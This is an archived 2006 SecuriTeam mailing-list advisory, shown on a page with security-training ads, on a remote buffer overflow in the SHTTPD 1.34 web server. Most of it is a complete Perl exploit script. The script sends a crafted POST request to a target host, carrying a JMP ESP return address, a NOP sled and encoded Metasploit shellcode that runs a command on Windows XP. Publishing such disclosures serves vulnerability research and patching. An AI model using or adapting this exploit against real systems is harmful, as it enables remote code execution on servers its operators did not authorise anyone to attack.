Ethical Hacking

Learn to find vulnerabilities before the bad guys do! Gain real world hands on hacking experience in our state of the art hacking lab. Course designed and taught by expert instructors with years of penetration testing experience. 12 student maximum in every class. Certification attempt included in every package.
Computer Forensics Training at InfoSec Institute

Gain the in-demand skills of a certified computer examiner, learn to recover trace data left behind by fraud, theft, and cybercrime perpetrators. Discover the source of computer crime and abuse at your organization so that it never happens again. All of our class sizes are guaranteed to be 12 students or less to facilitate one-on-one interaction with one of our expert instructors.




Network Security Exploits-HackingTools
[Top] [All Lists]

[EXPL] SHTTPD POST Remote Buffer Overflow (Exploit)

Subject: [EXPL] SHTTPD POST Remote Buffer Overflow (Exploit)
Date: 8 Oct 2006 14:06:23 +0200
The following security advisory is sent to the securiteam mailing list, and can 
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion

The SecuriTeam alerts list - Free, Accurate, Independent.

Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html 

- - - - - - - - -



  SHTTPD POST Remote Buffer Overflow (Exploit)
------------------------------------------------------------------------


SUMMARY

" <http://shttpd.sourceforge.net/> SHTTPD is a lightweight web server. The 
main design goals are the ease of use and the ability to embed. Ideal for 
personal use, web-based software demos (like PHP, Perl etc), quick file 
sharing. A care has been taken to make the code secure. SHTTPD is licensed 
under the terms of MIT license."

A buffer overflow vulnerability exists in SHTTPD.

DETAILS

Vulnerable Systems:
 * SHTTPD version 1.34.

Exploit:
#!/usr/bin/perl -w

#  SHTTPD Buffer Overflow (POST)
#  Tested on SHTTPD 1.34 WinXP SP1 Hebrew
#  http://shttpd.sourceforge.net
#  Codded By SkOd, 05/10/2006
#  ISRAEL
#
#       details:
#       EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
#       EBX 00000004 , EIP 41414141 , EBP 41414141
#       ESI 00BC4358 , EDI 00BCC3CC ASCII "POST"
#       ESP 009EFC08 ASCII 41,"AA...AAA"


use IO::Socket;

sub fail(){
syswrite STDOUT, "[-]Connect failed.\n";
exit;
}

sub header()
{
print("##################################\n");
print("SHTTPD (POST) Buffer Overflow.\n");
print("[http://shttpd.sourceforge.net]\n";);
print("Codded By SkOd, 05/10/2006\n");
print("##################################\n");
}

if (@ARGV < 1)
{
        &header();
        print("Usage: Perl shttpd.pl [host]\n");
        exit;
}

&header();
$host=$ARGV[0];
$port="80";
$host=~ s/(http:\/\/)//eg;

#win32_exec- CMD=calc Size=160 (metasploit.com)
$shell =
"%33%c9%83%e9%de%d9%ee%d9%74%24%f4%5b%81%73%13%52".
"%ca%2b%e0%83%eb%fc%e2%f4%ae%22%6f%e0%52%ca%a0%a5".
"%6e%41%57%e5%2a%cb%c4%6b%1d%d2%a0%bf%72%cb%c0%a9".
"%d9%fe%a0%e1%bc%fb%eb%79%fe%4e%eb%94%55%0b%e1%ed".
"%53%08%c0%14%69%9e%0f%e4%27%2f%a0%bf%76%cb%c0%86".
"%d9%c6%60%6b%0d%d6%2a%0b%d9%d6%a0%e1%b9%43%77%c4".
"%56%09%1a%20%36%41%6b%d0%d7%0a%53%ec%d9%8a%27%6b".
"%22%d6%86%6b%3a%c2%c0%e9%d9%4a%9b%e0%52%ca%a0%88".
"%6e%95%1a%16%32%9c%a2%18%d1%0a%50%b0%3a%3a%a1%e4".
"%0d%a2%b3%1e%d8%c4%7c%1f%b5%a9%4a%8c%31%ca%2b%e0";


$esp="%73%C3%2A%4F";                            #[4F2AC373]JMP ESP 
(kernel32.dll) WinXP SP1(Hebrew)
$buff=("%41"x8).$esp.("%90"x85).$shell;         #Shellcode+NOP=245

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", 
PeerPort => "$port") || &fail();
        syswrite STDOUT,"[+]Connected.\n";
        print $sock "POST /$buff HTTP/1.1\n";
        print $sock "HOST:$host\n\n";
        syswrite STDOUT,"[+]Done.\n";
close($sock);


ADDITIONAL INFORMATION

The information has been provided by  <http://www.milw0rm.com/> 
milw0rm.com.
The original article can be found at:
 <http://www.milw0rm.com/exploits/2482> 
http://www.milw0rm.com/exploits/2482



======================================== 


This bulletin is sent to members of the SecuriTeam mailing list. 
To unsubscribe from the list, send mail with an empty subject line and body to: 
list-unsubscribe@securiteam.com 
In order to subscribe to the mailing list, simply forward this email to: 
list-subscribe@securiteam.com 


==================== 
==================== 

DISCLAIMER: 
The information in this bulletin is provided "AS IS" without warranty of any 
kind. 
In no event shall we be liable for any damages whatsoever including direct, 
indirect, incidental, consequential, loss of business profits or special 
damages. 




<Prev in Thread] Current Thread [Next in Thread>
  • [EXPL] SHTTPD POST Remote Buffer Overflow (Exploit), SecuriTeam <=